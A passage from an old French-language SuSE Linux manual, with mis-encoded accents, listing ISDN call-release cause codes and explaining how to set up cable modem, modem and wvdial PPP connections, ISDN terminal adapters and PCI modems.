sont pas dus α une erreur dans le sens propre du terme mais au comportement
normal d'une communication tΘlΘphonique (``occupΘe'', ``communication ter-
minΘe par raccrochage'').
Voici quelques prΘcisions sur les ``causes'' des messages, avec l'aimable
autorisation de l'Institut pour SystΦmes ╔lectroniques et Technique de Trans-
mission de l'UniversitΘ de Dortmund : http://www-esv.e-technik.
uni-dortmund.de. Notez que HiSaX affiche toujours ces valeurs en mode
hexadΘcimal.
______________________________________________________________________________________________________________________
Cause# dez/hex Description
Groupe 0/1 - Causes normales
#1 01 Bien que le numΘro appelΘ soit complet et puisse Ωtre
interprΘtΘ par le rΘseau, il n'est pas attribuΘ actuelle-
ment α un poste terminal.
#2 02 Le rΘseau de transit spΘcifiΘ n'est pas identifiΘ par le
central. Ceci peut se produire soit parce que le rΘseau
de transit dΘsirΘ n'existe pas, soit parce qu'il refuse
le service demandΘ.
#3 03 Il n'a pas ΘtΘ possible de parvenir jusqu'α l'abonnΘ
final, celui-ci Θtant probablement connectΘ α un autre
rΘseau.
#6 06 L'abonnΘ appelΘ ne peut pas utiliser le canal requis.
#7 07 L'appel a ΘtΘ refusΘ par l'abonnΘ appelΘ, le canal re-
quis Θtant dΘjα occupΘ (canal virtuel, X.31 ou X.25)
#16 10 Cette cause indique que l'un des abonnΘs concernΘs
a mis fin α la communication.
#17 11 Le numΘro est occupΘ et l'abonnΘ appelΘ ne peut ni
rΘagir α un autre appel ni le prendre en compte.
#18 12 Le numΘro appelΘ a ΘtΘ atteint mais il n'a pas ΘtΘ rΘ-
pondu en temps voulu α la demande d'Θtablissement
de communication ``SETUP''.
#19 13 Bien que l'appel ait ΘtΘ acceptΘ par le poste terminal,
il n'a pas ΘtΘ pris en compte par l'abonnΘ. Ceci se
produit par exemple lorsque le tΘlΘphone sonne dans
un appartement vide.
#21 15 L'appel a ΘtΘ explicitement refusΘ par l'abonnΘ, en
rΘaction par exemple α une tonalitΘ d'appel.
#22 16 Cette cause peut Ωtre Θmise comme option du central
tΘlΘphonique de destination si le numΘro de l'abonnΘ
appelΘ a ΘtΘ modifiΘ.
#26 1A L'appel n'a pas pu Ωtre signalΘ α l'abonnΘ appelΘ.
#27 1B L'interface de l'abonnΘ appelΘ est actuellement hors
fonction.
______________________________________________________________________________________________________________________
Tab. 6.1: Continuer α la page suivante...
*
* 185
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
#28 1C Le numΘro appelΘ n'est pas valide ou ne peut pas Ωtre
interprΘtΘ par le rΘseau.
#29 1D Un service complΘmentaire demandΘ avec l'Θtablis-
sement de la communication ne peut pas Ωtre mis α
disposition par le rΘseau.
#30 1E Il est signalΘ que le message STATUS (rΘponse α
une demande d'Θtat) a ΘtΘ Θmis suite α un message
STATUS ENQUIRY (demande d'Θtat).
#31 1F Cette cause est gΘnΘrΘe si aucune des autres causes
de la classe ``Normal'' n'est α l'origine de la rupture
de la communication
Groupe 2, ressources non disponibles
#34 22 Au central tΘlΘphonique, tous les canaux B (transmis-
sion de la voix) ou tous les canaux virtuels (X.25)
sont occupΘs.
#38 26 Le rΘseau de commutation n'est pas en fonction et ne
sera pas actif pour un certain temps.
#41 29 Au central tΘlΘphonique, il existe un dΘrangement
temporaire auquel il sera bient⌠t remΘdiΘ. Il vaut
donc la peine de rΘpΘter la tentative d'Θtablissement
de communication.
#42 2A Au central tΘlΘphonique qui Θmet cette cause, il
n'existe pas, pour le moment, de canal disponible en
raison d'une surchage.
#43 2B Les informations d'accΦs transmises par l'abonnΘ
appelant comme par exemple mots de passe dans
l'ΘlΘment UTU (information utilisateur), des don-
nΘes LLC ou HLC ne peuvent pas Ωtre transmises α
l'abonnΘ appelΘ.
#44 2C Le canal dΘsirΘ ne peut pas Ωtre mis α disposition par
l'interface α l'autre bout de la connexion.
#47 2F Cette cause est gΘnΘrΘe en cas de non disponibilitΘ
d'une ressource ne pouvant pas Ωtre dΘfinie par les
causes du groupe ``Ressource non disponible''.
Groupe 3, Service ou option non disponible
#49 31 La norme de qualitΘ (dΘbit, dΘlai) dΘfinie par la re-
commandation X.213 ne peut pas Ωtre respectΘe.
#50 32 L'utilisateur a demandΘ un service auquel il n'a pas
droit car il n'est pas enregistrΘ comme usager de ce
service.
_______________________________________________________________________________________________________*
*_________
Tab. 6.1: Continuer α la page suivante...
186
_____________________________________________________________6.2.__AccΦs_Internet_par_ISDN_~_Configuration_______________________*
*_________________
______________________________________________________________________________________________________________________
#57 39 L'utilisateur n'a pas droit, sur le support, au service
demandΘ.
#58 3A Le service de transmission demandΘ n'est pas dispo-
nible actuellement.
#59 3B Indique une option ou un service non disponible qui
n'est pas dΘfini par les causes prΘcΘdentes.
Groupe 4, Service ou option non implΘmentΘ(e)
#65 41 L'appareil Θmetteur n'est pas en mesure de mettre α
disposition la fonction ``bearer capabiltiy'' requise.
#66 42 Le type de canal demandΘ n'est pas disponible.
#69 45 Le service demandΘ n'est pas implΘmentΘ.
#70 46 L'utilisateur a demandΘ une transmission sans res-
triction d'information digitale mais seule une trans-
mission restreinte est admise.
#79 4F Une option ou un service ne pouvant Ωtre dΘfini par
les causes prΘcΘdentes n'est pas implΘmentΘ.
Groupe 5, Message non valide, zone de para-
mΦtres non admissible
#81 51 Il a ΘtΘ reτu un message comportant une valeur de
rΘfΘrence non valide actuellement.
#82 52 Le canal demandΘ n'existe pas sur l'interface qui gΘ-
nΦre cette cause. Ceci peut se produire par exemple
avec CHI = 26 sur une interface PCM 24.
#83 53 Il a ΘtΘ tentΘ de reprendre un appel suspendu avec une
identitΘ d'appel (angl. call ID) non valide.
#84 54 Il a ΘtΘ tentΘ, lors de la suspension d'un appel, d'uti-
liser une identitΘ d'appel dΘjα en service dans la zone
du contr⌠leur concernΘ.
#85 55 Il a ΘtΘ tentΘ de reprendre un appel bien qu'aucun
appel n'ait ΘtΘ suspendu.
#86 56 L'appel ayant l'identitΘ d'appel demandΘe a dΘjα ΘtΘ
libΘrΘ.
#88 58 L'interface de l'abonnΘ final appelΘ n'est pas compa-
tible avec les LLC, HLC ou autres attributs supplΘ-
mentaires demandΘs.
#91 5B Un rΘseau de transit a ΘtΘ demandΘ d'une maniΦre
non valide.
______________________________________________________________________________________________________________________
Tab. 6.1: Continuer α la page suivante...
187
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
#95 5F Cette cause est Θmise si aucune des autres causes ne
s'applique α un message non valide.
Groupe 6, erreur de protocole
#96 60 Un ΘlΘment obligatoire d'information est absent.
#97 61 Un message de type inconnu ou non implΘmentΘ a
ΘtΘ reτu par l'unitΘ Θmettrice.
#98 62 Il a ΘtΘ reτu soit un message incompatible avec l'Θtat
de l'appel, soit un message STATUS avec un Θtat non
valide.
#99 63 Il a ΘtΘ reτu un ΘlΘment d'information inconnu ou
non implΘmentΘ. L'ΘlΘment d'information peut Ωtre
omis lors d'une nouvelle tentative afin d'accΘder α la
fonction demandΘe.
#100 64 Le contenu d'un ΘlΘment d'information n'est pas va-
lide et ne peut pas Ωtre utilisΘ par l'appareil qui Θmet
la cause.
#101 65 Il a ΘtΘ reτu un message incompatible avec l'Θtat ac-
tuel de l'appel.
#102 66 Une procΘdure de rΘtablissement d'un Θtat stable a
ΘtΘ dΘmarrΘe aprΦs expiration de la temporisation.
#111 6F Il s'est produit une erreur non spΘcifiΘe dans ce
groupe.
_______________________________________________________________________________________________________*
*_________
Tab. 6.1: Causes de libΘration ISDN
6.3 Modem cΓble
Dans quelques pays europΘens ainsi qu'aux USA et au Canada, l'accΦs In-
ternet par tΘlΘcΓble est trΦs rΘpandu. Nous allons vous prΘsenter, comme
exemple, un guide qui explique pas α pas comment accΘder α Internet avec
le service tΘlΘcΓble autrichien. Ces instructions devraient aussi Ωtre valables
pour d'autres cabl⌠distributeurs.
6.3.1 Informations de base
L'abonnΘ reτoit du cabl⌠distributeur un ``modem'' qui sera reliΘ d'une part
au cΓble tΘlΘvision et d'autre part α une carte rΘseau au moyen d'un cΓble
10Base-T (paire torsadΘe). Ce modem reprΘsente pour l'ordinateur une ligne
permanente avec, dans la majeure partie des cas, une adresse IP fixe.
Marche α suivre pour l'installation
1. Si vous avez dΘjα configurΘ votre carte rΘseau, continuez en passant au
point 8.
188
__________________________________________________________________________6.4.__T-DSL,_T-ISDN-DSL,_ADSL_:_:_:______________*
*_______________________
2. Lancez_YaST_ sous_le_compte `root' ~ si vous Ωtes sous KDE, appuyez
sur |A____l|t+ |F___|2et tapez ensuite xterm . DΘmarrez YaST dans la nouvelle
fenΩtre.
3. Allez dans `Administration du systΦme', `IntΘgrer le matΘ-
riel dans le systΦme', `Configurer la carte rΘseau'.
4. Dans `Type du rΘseau', spΘcifiez eth0 .
5. Dans `Type de la carte rΘseau', sΘlectionnez votre carte.
6. Dans `Options pour le chargement du module', spΘcifiez les pa-
ramΦtres tels que port d'E/S etc. Voir le chapitre 14 page 367 au sujet des
paramΦtres du noyau. Attention : Si vous possΘdez une carte PCI, vous
n'aurez gΘnΘralement pas besoin de spΘcifier de paramΦtres.
7. Passez α `Continuer'. Retournez au_menu_principal de YaST (en ap-
puyant deux fois sur la touche |E_______c|hap.
8. Allez dans `Administration du systΦme', `Configurer le rΘ-
seau', `Configuration de base du rΘseau'.
9. Vous Ωtes maintenant dans la fenΩtre `SΘlection du rΘseau'.
10. Appuyez sur |F___|_5pour spΘcifier le pΘriphΘrique ethernet . (s'il n'est pas
dΘjα spΘcifiΘ sous `Nom du pΘriph.', par exemple eth0 ).
11. Appuyez sur |F___|_3et sΘlectionnez `DHCP'.
12. Appuyez sur |F___|_4pour activer ce pΘriphΘrique.
13. Avec |F_____|10, la configuration est enregistrΘe.
14. Quittez YaST en appuyant plusieurs fois sur la touche |E________|chap.
15. Vous pouvez, en entrant rcdhclient start , activer votre accΦs rΘ-
seau. Vous avez ensuite la possibilitΘ de tester l'accΦs, par exemple avec
ping www.suse.de .
Ces instructions sont valables α partir de la version SuSE 6.4. Si vous utilisez
encore SuSE 6.3, vous devez effectuer une opΘration supplΘmentaire. Posi-
tionnez, avec YaST , la variable rc.config α yes (voir la marche α suivre
au paragraphe 3.6.12 page 114). Le rΘseau sera alors activΘ α chaque dΘmar-
rage du systΦme sans qu'il vous soit nΘcessaire d'exΘcuter explicitement une
commande.
Il existe une alternative ~ pour le cas o∙ l'adresse IP, le masque rΘseau et la
passerelle seraient connus et statiques ~ qui consiste α paramΘtrer une confi-
guration fixe pour le rΘseau (voir chapitre 5.1 page 156). Renseignez-vous
auprΦs de votre cΓblodistributeur pour savoir si votre adresse IP n'est pas sus-
ceptible d'Ωtre modifiΘe α l'avenir. Avantage d'une configuration fixe : si, lors
de l'amorτage, l'accΦs par cΓble se trouvait perturbΘ, le processus d'amor-
τage suivra quand mΩme son cours sans problΦme et vous pourrez avoir de
nouveau accΦs α Internet dΦs qu'il aura ΘtΘ remΘdiΘ α cette perturbation du
rΘseau.
6.4 T-DSL, T-ISDN-DSL, ADSL : : :
Pour l'accΦs Internet avec T-ISDN-DSL, ADSL etc., il existe dΘjα des solu-
tions pour Linux. Celles-ci sont toutefois encore au stade du dΘveloppement
et pour cette raison nous n'offrons pas de support direct dans ce contexte.
*
* 189
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
Vous trouverez cependant un article sur ce thΦme dans la base de donnΘes
support. Cet article vous fournira des informations sur les plus rΘcentes Θtapes
du dΘveloppement. Vous pouvez le lire sous http://sdb.suse.de/sdb/
de/html/hoe_adsl_pppoe.html.
6.5 Connexion par modem
Le branchement d'un modem α la machine se fait exactement de la mΩme
maniΦre que sous d'autres systΦmes d'exploitation. Le modem est connectΘ
α la machine par un cΓble sΘrie ou est intΘgrΘ (s'il s'agit d'un modem ``inter-
ne'') dans un slot libre de la machine. Sous YaST , on spΘcifie α quelle inter-
face le modem est reliΘ (voir paragraphe 3.6.1 page 100 et paragraphe 17.6
page 453). Un lien pointant du pΘriphΘrique modem sur /dev/modem est crΘΘ.
Il est donc possible d'accΘder au modem, indΘpendamment du port sur lequel
il est connectΘ, α travers /dev/modem ~ si le lien a ΘtΘ correctement placΘ.
________________________________________________________________________________________________________*
*________||
| On trouve aussi dans le commerce ce que l'on appelle les ``WinModems''. *
* ||||
| Mais ils ne peuvent pas pour le moment Ωtre utilisΘs sous Linux. Voir α *
* |||
| *
* |||
| ce sujet http://sdb.suse.de/sdb/en/html/cep_winmodem.html et *
* |||
| http://www.linmodems.org/, ainsi que le Modem-HOWTO.gz qui vous *
* |||
| *
* |||
| fournira des informations d'ordre gΘnΘral sur les modems *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Les programmes d'Θmulation de terminal usuels sont par exemple minicom
ou, sous le systΦme X Window, seyon . Vous pouvez aussi faire les premiers
tests directement avec wvdial (paragraphe 6.6).
Minicom
Minicom est un programme d'Θmulation de terminal simple α utiliser et sem-
blable au programme DOS Telix .
Tous ceux qui souhaitent utiliser minicom doivent Ωtre prΘalablement inscrits
dans le fichier /etc/minicom.users. Il est dΘterminΘ ici qui peut accΘder α
quel modem et avec quelle configuration.
On configure minicom en le lanτant sous le compte `root' par la com-
mande :
terre:/ # minicom -s
Les paramΦtres de fonctionnement n'ont pas besoin de faire l'objet d'une
explication.
________________________________________________________________________________________________________*
*________
| La combinaison de touches |C______|trl+ |L_ |ne fonctionne ni sous xterm ni sous *
* |||
| ______ _ *
* |||
| rxvt . Elle fonctionne par contre sous kvt et dans la console texte. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
6.6 AccΦs Internet par modem : PPP avec wvdial
Le programme wvdial est un outil trΦs puissant qui permet d'Θtablir des
connexions PPP avec les fournisseurs d'accΦs Internet que nous appellerons
dans la suite de ce chapitre + FAI (angl. ISP ~ Internet Service Provider).
190
______________________________________________________6.6.__AccΦs_Internet_par_modem_:_PPP_avec_wvdial______________________*
*______________________
Comme les FAI utilisent souvent des configurations diffΘrentes dans le proto-
cole PPP, il est parfois difficile de retrouver les options adΘquates. Cette tΓche
est assumΘe par wvdial qui se sert d'algorithmes intelligents.
Autrefois, il Θtait toujours nΘcessaire, pour la configuration Internet, de spΘci-
fier aussi le serveur de noms de domaine (angl. DNS ~ Domain Name Server)
du FAI. Ceci est devenu superflu avec wvdial qui reconnaεt automatiquement
le serveur de noms du FAI dans la mesure o∙ ce dernier communique cette
information.
6.6.1 Configuration de wvdial
Vous pouvez aisΘment configurer wvdial α partir de YaST . Vous trouverez
le menu sous `Administration du systΦme', `Configurer le rΘ-
seau'. La figure 6.5 vous montre ce menu.
Fig. 6.5: wvdial: RΘglage des paramΦtres
ProcΘdez de la maniΦre suivante :
~ Assurez-vous que vous avez dΘjα configurΘ votre modem dans YaST .
Cela a dΘjα d√ se faire au cours de la premiΦre installation mais vous
pouvez aussi le faire maintenant (ainsi que nous l'avons ΘvoquΘ au para-
graphe 3.6.1 page 100).
~ SΘlectionnez l'option du menu `Configurez votre FAI'.
~ SpΘcifiez le numΘro de tΘlΘphone, l'identifiant utilisateur et le mot de
passe (figure 6.6 page suivante).
Si la communication est Θtablie via une installation tΘlΘphonique avec
raccordements secondaires, ajoutez aprΦs le numΘro d'identification du
rΘseau (``connexion extΘrieure'', par exemple 0 ) une virgule ou un w : 0,
ou 0w .
*
* 191
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
Fig. 6.6: wvdial: Configurer le FAI
________________________________________________________________________________________________________*
*________||
| Si vous travaillez sous le systΦme X Window et si vous avez des difficultΘs *
* ||||
| ___ ___ *
* |||
| α faire des entrΘes parce que les touches flΘchΘes (|____|, |!___|) ou la touche *
* |||
| | ____7| ! *
* |||
| d'effacement arriΦre ( ____ ) ne rΘagissent pas comme vous le souhaitez, *
* |||
| vous devriez tout d'abord quitter YaST , passer sur une console texte avec *
* |||
| | ______| | ____ | | ___ | | ___| *
* |||
| C______trl+ ____Alt+ ___F2- F___6, vous connecter en tant que `root' et relancer *
* |||
| YaST . *
* |||
|_______________________________________________________________________________________________________*
*________|||_
~ Choisissez la configuration automatique du serveur de noms. Dans le cas
o∙ cela ne fonctionnerait pas, vous devrez configurer le serveur de noms
dans YaST de la maniΦre habituelle (voir paragraphe 3.6.3 page 106).
~ SΘlectionnez votre mode de numΘrotation. Ce sera le plus souvent la nu-
mΘrotation par tonalitΘs.
~ Si vous Ωtes reliΘ α une installation tΘlΘphonique, sΘlectionnez l'option
`Modem reliΘ α une installation tΘlΘphonique'. Dans ce cas,
on n'attend pas la tonalitΘ.
~ Sous mode de numΘrotation, `PAP/CHAP' devrait en gΘnΘral fonctionner.
~ Quittez ce sous-menu.
~ AprΦs la configuration du fournisseur d'accΦs, nous passons maintenant α
la reconnaissance du modem. SΘlectionnez simplement l'option `DΘtec-
tion automatique du modem'.
~ Si tout a bien marchΘ, sΘlectionnez l'option `Lancement de WvDial
et connexion au FAI'. Vous verrez apparaεtre une fenΩtre dans la-
quelle divers messages vous seront prΘsentΘs.
~ Si vous voyez un message qui vous fait savoir que le processus PPP a ΘtΘ
lancΘ, vous pouvez dΘjα utiliser Internet.
~ VΘrifiez Θventuellement que la connexion a bien ΘtΘ Θtablie._Ouvrez_en-__
suite une autre fenΩtre de terminal (sous KDE : |____A|lt+ |___F|2et ensuite
xterm ). Tapez dans la fenΩtre de terminal :
terre: # su
192
______________________________________________________6.6.__AccΦs_Internet_par_modem_:_PPP_avec_wvdial______________________*
*______________________
et entrez le mot de passe `root'. Tapez ensuite :
terre: # tail -f /var/log/messages
Vous pouvez maintenant suivre les messages du systΦme. DΦs que vous
voyez des lignes avec "Local IP :" et "Remote IP :" ~ suivies cha-
cune d'un numΘro IP ~ vous pouvez avoir la certitude que votre connexion
Internet est Θtablie.
~ Terminez votre accΦs Internet avec |C______|_trl+ |c__|.
~ Si tout ceci a bien marchΘ, vous pouvez dΘmarrer votre accΦs Internet
en invoquant simplement wvdial depuis la__ligne_ de _commande et vous
pouvez mettre fin α votre connexion avec |C______|trl+ |c_ |.
~ Vous pourrez aussi plus tard modifier votre configuration sans YaST ,
avec le programme wvdial.lxdialog ou sous forme de programme gra-
phique avec wvdial.tcl . Ceci n'est cependant possible que sous le compte
`root'.
Vous trouverez la documentation relative α wvdial dans le rΘpertoire /usr/
doc/packages/wvdial.
wvdial, les utilisateurs et la sΘcuritΘ
Si vous voulez que d'autres utilisateurs que `root' puissent Θtablir des
connexions PPP avec wvdial , vous devez, avec YaST , inscrire les utilisa-
teurs concernΘs dans les groupes `uucp' et `dialout'. Voir le chapitre 3.6.8
page 112 qui vous indique la marche α suivre.
Ces utilisateurs auront alors accΦs au fichier /etc/wvdial.conf qui contient
normalement le login et le mot de passe pour l'accΦs Internet. Pour plus de
sΘcuritΘ, vous pouvez transfΘrer le mot de passe dans un fichier protΘgΘ :
1. Passez dans le rΘpertoire /etc/ppp et crΘez, en tant que `root', le fichier
wvpw avec les droits 600 :
terre: # cd /etc/ppp
terre:/etc/ppp # touch wvpw
terre:/etc/ppp # chmod 600 wvpw
2. Chargez le fichier wvpw dans l'Θditeur et inscrivez uniquement le mot de
passe. Stockez le fichier en mΘmoire.
3. VΘrifiez si les droits du fichiers wvpw sont encore corrects. Avec
terre:/etc/ppp # ls -l wvpw
vous devriez pouvoir vous en assurer. Voir affichage 6.6.1.
_______________________________________________________________________________________________________________________
|||||||| -rw------- 1 root root 7 Jan 18 17:20 wvpw |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
affichage α l'Θcran 6.6.1: Affichage de ls -l wvpw
4. Recommencez votre configuration ainsi qu'il est dΘcrit au chapitre 6.6.1
page 191. Vous devez cependant spΘcifier @/etc/ppp/wvpw (prΘcΘdΘ de
l'arobase) comme mot de passe. Ainsi, wvdial saura que le mot de passe
doit provenir de ce fichier.
*
* 193
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
Le modem Θmet toujours des bips sonores
Si le haut-parleur de votre modem Θmet des sons trop forts pendant la
connexion, vous pouvez Θditer le fichier /etc/wvdial.conf et ajouter la
ligne
Init3 = ATM0
Cette commande met hors fonction le haut-parleur de votre modem.
6.6.2 Plusieurs fournisseurs d'accΦs avec wvdial
wvdial est en mesure de gΘrer autant de jeux de paramΦtres que vous dΘsirez.
Pour obtenir ce rΘsultat, vous pouvez ajouter α la section Dialer Default
du fichier /etc/wvdial.conf des sections supplΘmentaires. Lors du lan-
cement de wvdial avec le nom de l'une des sections supplΘmentaires, les
paramΦtres seront d'abord lus α partir de ``Default''. Tous les paramΦtres qui
sont spΘcifiΘs encore une fois dans la section supplΘmentaire Θcraseront les
anciennes valeurs.
Voici un petit exemple pour T-Online et Arcor. (fichier 6.6.1). Ici la configu-
ration est rΘalisΘe par YaST . Il est ajoutΘ manuellement au fichier les lignes
contenues dans le fichier 6.6.2.
________________________________________________________________________________________________________*
*________||||
| [Dialer Defaults] *
* |
| Modem = /dev/ttyS0 *
* |
| *
* |
| Init1 = ATZ *
* |
| Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 S11=55 +FCLASS=0 *
* |
| Init3 = ATM0 *
* |
| *
* |
| Compuserve = 0 *
* |
| Tonline = 1 *
* |
| *
* |
| Dial Command = ATX3DT *
* |
| Baud = 115200 *
* |
| *
* |
| Auto DNS = 1 *
* |
| Stupid Mode = 0 *
* |
| *
* |
| New PPPD = 1 *
* |
| *
* |
| *
* |
| Phone =0,0191011 *
* |
| Username = ???????? *
* |
| Password = ??????? *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 6.6.1: /etc/wvdial.conf : Standard-Abschnitt
________________________________________________________________________________________________________*
*________
| [Dialer arcor] *
* |
| *
* |
| Phone = 010700192070 *
* |
| Username = arcor *
* |
| Password = internet *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 6.6.2: /etc/wvdial.conf : sectioZusatz-Abschnitt
Si wvdial est invoquΘ sans paramΦtres, il sera Θtabli une connexion avec
T-Online alors que l'invocation de wvdial arcor Θtabli une connexion avec
Arcor. Lisez aussi α ce sujet la page de man de wvdial (man wvdial ).
194
______________________________________________________6.6.__AccΦs_Internet_par_modem_:_PPP_avec_wvdial______________________*
*______________________
6.6.3 Adaptateurs de terminaux ISDN
Ces pΘriphΘriques permettent la connexion α ISDN. └ la diffΘrence de ce qui
se passe pour les cartes ISDN ordinaires, les machines et les adaptateurs de
terminaux sont reliΘs par un cΓble sΘrie. Bien que les adaptateurs simulent en
principe un modem analogique, ils prΘsentent cependant quelques particula-
ritΘs :
~ Ils requiΦrent par exemple des commandes spΘciales pour l'Θtablissement
d'une communication Point α Point et,
~ dans la configuration par dΘfaut, ils Θmettent des messages CONNECT Θten-
dus.
C'est pourquoi il convient d'adapter la configuration du modem :
1. Renoncez α la dΘtection automatique du modem, exΘcutΘe normalement
avec YaST au moyen des options `Administration du systΦme' /
`Configurer le rΘseau' / `Configurer le rΘseau PPP' / `DΘ-
tection automatique du modem'.
2. DΘterminez le port de votre modem dans YaST avec le menu `Ad-
ministration du systΦme' / `IntΘgrer le matΘriel dans le
systΦme' / `Configurer le modem'.
3. Connectez-vous en tant que `root' α votre systΦme.
4. CrΘez manuellement le fichier /etc/wvdial.conf ; sinon ce fichier sera
gΘnΘrΘ automatiquement. Son contenu devrait Ωtre semblable α celui du
fichier 6.6.3.
_______________________________________________________________________________________________________________________||||
|||||||| [Dialer Defaults] |
|||||||| Modem = /dev/modem |
|||||||| Baud = 115200 |
|||||||| |
|||||||| Init1 = <entrΘe spΘciale1> |
|||||||| Init2 = <entrΘe spΘciale2> |
|||||||| |
|||||||| ; Phone = |
|||||||| ; Username = |
|||||||| |
|||||||| ; Password = |
|||||||| |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
fichier 6.6.3: /etc/wvdial.conf : Adaptateur de terminal
Pour <entrΘe spΘciale1> et <entrΘe spΘciale2>, vous devez ~ en fonction
de votre pΘriphΘrique ~ insΘrer les valeurs suivantes :
Constructeur ELSA : ELSA MicroLink ISDN/TLpro et ISDN/TLV.34 :
Init1 = AT&F\N10%P1
Init2 = AT\V0
Constructeur ELSA : ELSA TanGo 1000 et ELSA TanGo 2000 :
Init1 = AT&F$IBP=HDLCP
Init2 absent
*
* 195
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
Constructeur Zyxel : Tous les modΦles :
Init1 = AT&FB40
Init2 = ATXO
Constructeur Hagenuk : Speed/Viper Dragon :
Init1 = ATZ
Init2 = AT&FB8X0
Autres constructeurs : Vous pourrez retrouver la chaεne d'initialisation
(angl. Initstring) prΘvue par le constructeur en consultant la documen-
tation qui accompagne votre adaptateur. Il y est parfois ajoutΘ des
scripts pour Unix ou Linux dans lesquels vous pourrez aussi trouver
cette chaεne d'initialisation. Ou vous regardez simplement avec quelle
chaεne d'initialisation votre modem se connecte sous un autre systΦme,
par exemple sous MS-Windows.
Les autres phases de la configuration sont effectuΘes ainsi qu'il est dΘcrit dans
le manuel de votre adaptateur.
Remarque : Les ISDN-TA ne doivent pas Ωtre confondus avec les PABX dotΘs
d'une carte ISDN intΘgrΘe. Bien que ces derniers soient aussi connectΘs par
un cΓble sΘrie, ils utilisent un protocole propriΘtaire via l'interface sΘrie et
ne peuvent donc pas Ωtre utilisΘs sous Linux ! Un pilote CAPI fourni avec le
pΘriphΘrique doit Ωtre installΘ dans le PC, mais actuellement les constructeurs
ne le fournissent pas pour Linux. Voici les pΘriphΘriques connus :
~ Eumex 404 PC
~ Eumex 322 PCi
~ AVM Fritz !XPCDr.
~ Neuhaus Triccy Data LCR
6.6.4 Configuration de modems PCI
L'IRQ et l'adresse d'E/S des ports sΘrie sont positionnΘs par dΘfaut sous
Linux α des valeurs utilisΘes par les cartes ISA. Ces valeurs sont un quasi-
standard et elles Θpargnent α de nombreux PC des conflits de ressources.
Les ressources des cartes PCI sont toutefois assignΘes par le BIOS lors de
l'amorτage et ne concordent pas avec les valeurs traditionnelles si on laisse
le BIOS prendre seul la dΘcision.
Vous devez donc, avant la configuration de wvdial , procΘder de la maniΦre
suivante :
1. DΘterminez, avec la commande scanpci -v , les valeurs rΘelles que le
BIOS a assignΘ aux ports sΘrie. L'interruption (IRQ) et l'adresse d'E/S
(port d'E/S) vous sont nΘcessaires.
2. IntΘgrez le modem avec YaST α l'aide des options `Administra-
tion du systΦme' / `IntΘgrer le matΘriel dans le systΦme'
/ `Configurer le modem'.
Tenez compte de la prΘsence Θventuelle d'une souris sΘrie et d'autres ports
sΘrie. En cas de doute, sΘlectionnez /dev/ttyS2 afin d'Θviter tout conflit
avec une carte d'interface traditionnelle intΘgrΘe en supplΘment.
196
______________________________________________________6.6.__AccΦs_Internet_par_modem_:_PPP_avec_wvdial______________________*
*______________________
3. Avec la commande setserial , il est possible de modifier la configura-
tion du port sΘrie. Si le modem utilise par exemple l'IRQ 5 et l'adresse
d'E/S 0x220 alors que le noyau s'attend α trouver l'interruption 4 et le
port 0x02f8 , la commande
terre: # setserial /dev/ttyS2 irq 5 port 0x220
peut aider α rΘsoudre le problΦme.
Cette commande doit cependant Ωtre exΘcutΘe lors de tout amorτage ul-
tΘrieur. La meilleure solution consiste α ajouter une entrΘe dans le fi-
chier /sbin/init.d/boot.local. ~ Comme alternative, il est Θgale-
ment possible d'adapter le fichier /sbin/init.d/serial dans la section
start :
run_setserial /dev/ttyS2 irq 5 port 0x220
Des informations plus dΘtaillΘes sur setserial vous sont fournies par la
page de man de setserial (man setserial ).
4. Afin de vΘrifier si la configuration de l'interface a ΘtΘ rΘalisΘe avec succΦs,
vous pouvez taper la commande wvdialconf /dev/null . Tous les ports
ttySx seront alors vΘrifiΘs et votre modem devrait Ωtre reconnu.
Remarque : Comme alternative α la configuration rΘalisΘe avec setserial,
vous pouvez aussi modifier les paramΦtres IRQ dans le BIOS. Ceci n'est
possible que si le BIOS le permet et si l'adresse d'E/S n'a pas α Ωtre
modifiΘe.
└ cette fin, cherchez α dΘcouvrir dans quel slot PCI se trouve votre carte
d'interface. Dans le programme Setup de certains BIOS, il existe un sous-
menu dans lequel les paramΦtres des interfaces PCI sont dΘterminΘs. Il
est possible ici d'attribuer α chaque slot une interruption (IRQ) prΘcise.
SpΘcifiez l'IRQ par dΘfaut qui dans la plupart des cas sera IRQ 3 ou
IRQ 4. Lors du prochain dΘmarrage, l'IRQ rΘel s'adaptera α l'IRQ rΘglΘ
par dΘfaut.
6.6.5 Configuration manuelle de PPP pour experts
Si pour quelque raison que ce soit vous ne parveniez pas α accΘder α Internet
avec wvdial , vous pouvez ici configurer PPP manuellement. Donnez toutefois
la prΘfΘrence, dans la mesure du possible, au programme wvdial .
_______________________________________________________________________________________________________________________||
|||||||| Vous trouverez aussi quelques configurations exemples et quelques scripts ||| |
|||||||| dans le paquetage inetcfg, sΘrie n ainsi que dans le paquetage ppp_nt et || |
|||||||| || |
|||||||| le paquetage toppp, sΘrie doc. || |
||||||||_______________________________________________________________________________________________________________||_
╔tablissement de la connexion
L'Θtablissement d'une connexion PPP se fait en deux Θtapes.
~ Il est d'abord Θtabli une connexion entre les deux modems. Cette tΓche
est assumΘe par le programme chat .
~ Lorsque la liaison est Θtablie, chat s'occupe encore de la connexion avec
le serveur et repasse ensuite le contr⌠le au dΘmon PPP. Celui-ci initialise
alors le protocole PPP.
*
* 197
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
AprΦs avoir installΘ le paquetage inetcfg, vous trouverez dans le rΘpertoire
